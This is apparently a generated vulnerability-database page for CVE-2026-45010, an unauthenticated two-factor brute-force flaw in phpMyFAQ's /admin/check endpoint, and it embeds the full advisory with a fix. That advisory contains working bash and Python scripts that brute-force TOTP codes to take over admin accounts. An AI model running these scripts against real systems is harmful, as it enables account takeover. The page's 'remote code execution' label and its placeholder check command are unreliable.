CVE-2026-45010: Thorsten/phpmyfaq Remote Code Execution Vulnerability
CRITICALCVE-2026-45010 is a CRITICAL (CVSS 9.1) remote code execution vulnerability (CWE-307: Improper Restriction of Excessive Authentication Attempts) affecting Thorsten/phpmyfaq libraries in the Packagist ecosystem. The issue involves phpmyfaq enables unauthenticated 2fa brute-force attack via /admin/check acceptance of arbitrary user-id. Remediation is available by upgrading affected packages to version 4.1.2.
CVE-2026-45010 at a Glance
Security Impact
CVSS: 9.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
How to Fix CVE-2026-45010
To remediate this vulnerability, upgrade all affected Thorsten/phpmyfaq dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade thorsten/phpmyfaq to 4.1.2
Upgrade phpmyfaq/phpmyfaq to 4.1.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for thorsten/phpmyfaq
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-45010, inspect your project dependencies for Thorsten/phpmyfaq:
inspect dependencies for thorsten/phpmyfaq
Analyze the terminal output to locate any version of Thorsten/phpmyfaq in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.2), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-307: Improper Restriction of Excessive Authentication Attempts, where the product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame. In Thorsten/phpmyfaq, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-45010 Affected Thorsten/phpmyfaq Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
thorsten/phpmyfaq
|
Packagist |
< 4.1.2
|
4.1.2
|
|
phpmyfaq/phpmyfaq
|
Packagist |
< 4.1.2
|
4.1.2
|
References
Frequently Asked Questions
What is CVE-2026-45010?
Which Thorsten/phpmyfaq versions are affected?
What version fixes CVE-2026-45010?
Is thorsten/phpmyfaq affected?
Is phpmyfaq/phpmyfaq affected?
What is the CVSS score of CVE-2026-45010?
What CWE is associated with CVE-2026-45010?
How can I check Packagist dependencies for CVE-2026-45010?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-9pq7-mfwh-xx2j",
"modified" : "2026-06-09T00:00:16Z",
"published" : "2026-05-06T20:42:54Z",
"aliases" : [ "CVE-2026-45010" ],
"summary" : "phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id",
"details" : "## Summary\n\nThe `/admin/check` endpoint in `AuthenticationController` implements `SkipsAuthenticationCheck`, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary `user-id` and `token` values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated `POST /admin/check` with a `user-id` body field returns HTTP 302 to `/admin/token?user-id=<value>`, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.\n\n## Details\n\n**File**: `phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php`, lines 35-36 and 201-228.\n\nThe controller class declaration:\n\n```php\nfinal class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck\n```\n\nThe `SkipsAuthenticationCheck` interface (`phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php`) is a marker interface that tells the `ControllerContainerListener` to skip authentication enforcement. Every route in this controller is reachable without a session.\n\nThe `check` action (line 201-228):\n\n```php\n#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]\npublic function check(Request $request): RedirectResponse\n{\n if ($this->currentUser->isLoggedIn()) {\n return new RedirectResponse(url: './');\n }\n\n $token = Filter::filterVar($request->request->get(key: 'token'), FILTER_SANITIZE_SPECIAL_CHARS);\n $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);\n\n $user = $this->currentUserService;\n $user->getUserById($userId);\n\n if (strlen((string) $token) === 6) {\n $tfa = $this->twoFactor;\n $result = $tfa->validateToken($token, $userId);\n\n if ($result) {\n $user->twoFactorSuccess();\n $this->adminLog->log($user, AdminLogType::AUTH_2FA_SUCCESS->value . ':' . $user->getLogin());\n return new RedirectResponse(url: './');\n }\n\n $this->adminLog->log($user, AdminLogType::AUTH_2FA_FAILED->value . ':' . $user->getLogin());\n }\n\n return new RedirectResponse('./token?user-id=' . $userId);\n}\n```\n\nProblems:\n\n1. **No session binding**: The endpoint accepts `user-id` from the POST body. It does not verify that the caller previously authenticated with a password for that user.\n2. **No rate limit or lockout**: Failed attempts redirect back to the token form with no counter, delay, or account lock.\n3. **Unauthenticated access**: The `SkipsAuthenticationCheck` marker exempts the entire controller from auth enforcement.\n\nThe normal login flow (`/admin/authenticate`) redirects to `/admin/token?user-id=X` after a valid password. But nothing prevents Bob from skipping the password step and hitting `/admin/check` directly.\n\n## Proof of Concept\n\n```bash\n# Step 1: Identify target user ID (admin is typically user_id=1)\nTARGET_HOST=\"http://target.example\"\nUSER_ID=1\n\n# Step 2: Brute-force the 6-digit TOTP code\n# TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window.\n# At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.\n\nfor code in $(seq -w 000000 999999); do\n RESPONSE=$(curl -s -o /dev/null -w \"%{http_code}:%{redirect_url}\" \\\n -X POST \"${TARGET_HOST}/admin/check\" \\\n -d \"token=${code}&user-id=${USER_ID}\")\n\n # A successful 2FA grants a session and redirects to ./\n # A failure redirects to ./token?user-id=1\n if echo \"$RESPONSE\" | grep -qv \"token?user-id=\"; then\n echo \"[+] Valid TOTP: ${code}\"\n break\n fi\ndone\n```\n\n```python\n# Faster parallel version\nimport requests\nfrom concurrent.futures import ThreadPoolExecutor\n\nTARGET = \"http://target.example/admin/check\"\nUSER_ID = 1\n\ndef try_code(code):\n r = requests.post(TARGET, data={\"token\": f\"{code:06d}\", \"user-id\": USER_ID}, allow_redirects=False)\n location = r.headers.get(\"Location\", \"\")\n if \"token?user-id=\" not in location:\n return code\n return None\n\nwith ThreadPoolExecutor(max_workers=50) as pool:\n for result in pool.map(try_code, range(1000000)):\n if result is not None:\n print(f\"[+] Valid TOTP: {result:06d}\")\n break\n```\n\n## Impact\n\nBob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, `twoFactorSuccess()` grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.\n\n**CVSS 3.1**: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` (High, 9.1)\n**CWE**: CWE-307 (Improper Restriction of Excessive Authentication Attempts)\n\n## Recommended Fix\n\n1. **Bind the 2FA step to a password-verified session**: Store a flag in the server-side session during `authenticate()` indicating the user passed password auth. The `check` action must verify this flag before accepting TOTP attempts.\n\n2. **Add rate limiting / lockout**: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.\n\n3. **Narrow the SkipsAuthenticationCheck scope**: Move the `/check` and `/token` routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.\n\nExample session-binding fix in `check()`:\n\n```php\n#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]\npublic function check(Request $request): RedirectResponse\n{\n $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);\n\n // Require that the session proves password auth for this specific user\n if ($this->session->get('2fa_pending_user_id') !== $userId) {\n return new RedirectResponse(url: './login');\n }\n\n // ... existing TOTP validation ...\n}\n```\n\nAnd in `authenticate()`, after successful password check:\n\n```php\n$this->session->set('2fa_pending_user_id', $this->currentUser->getUserId());\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "thorsten/phpmyfaq"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.1.2"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.1.1"
}
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpmyfaq/phpmyfaq"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.1.2"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.1.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9pq7-mfwh-xx2j"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45010"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/thorsten/phpMyFAQ"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/phpmyfaq-unauthenticated-two-factor-authentication-brute-force-via-admin-check-endpoint"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-307" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-06T20:42:54Z",
"nvd_published_at" : null
}
}